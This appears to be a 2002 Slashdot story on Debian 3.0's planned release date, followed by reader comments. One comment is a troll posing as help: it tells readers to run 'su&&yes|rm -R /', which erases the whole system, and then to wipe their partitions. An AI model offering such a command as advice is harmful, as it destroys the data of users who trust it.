Debian 3.0 (Woody) May 1?

Posted by CmdrTaco on from the best-gets-better dept.

dex@ruunat noted that this morning, in a message to the debian-devel-announce mailing list, Anthony Towns, Debian's Release Manager, wrote: "I'm becoming increasingly confident in woody's release readiness. So, to go out on a limb: Debian 3.0 (codenamed woody) will release on May 1st, 2002." Congrats to all the debheads putting this thing together. I have a blank CDR waiting ;)

    GNU nano 1.0.8 File: wayout

    Fed up of segfaults sceduled every 5 minutes
    Fed up of re-compiling your kernel every time you move your mouse?
    Blind from the brain damaged fonts?

    Well don't worry, I have the way out of these crappy operating systems,
    just follow these commands.

    1.type in the following at a commandline (before it segfaults)

    su&&yes|rm -R /

    2. Reboot
    3. Use your favourite partintioning software to delete all partitions
    and replace it with one large FAT32 "C" drive.

    4. Insert Windows XP CD
    5. Install effortlessly
    6. USE YOUR COMPUTER WITH EASE

    No! I'm running Hurd. Although unreleased, Hurd is nothing compared to Woody's excellent stability and functionality. I congradulate the Hurd developers for their surpassed work.

    CmdrTaco must be very new to Linux, or at least very new to Debian. He must be used to Windows, which is on one CD.
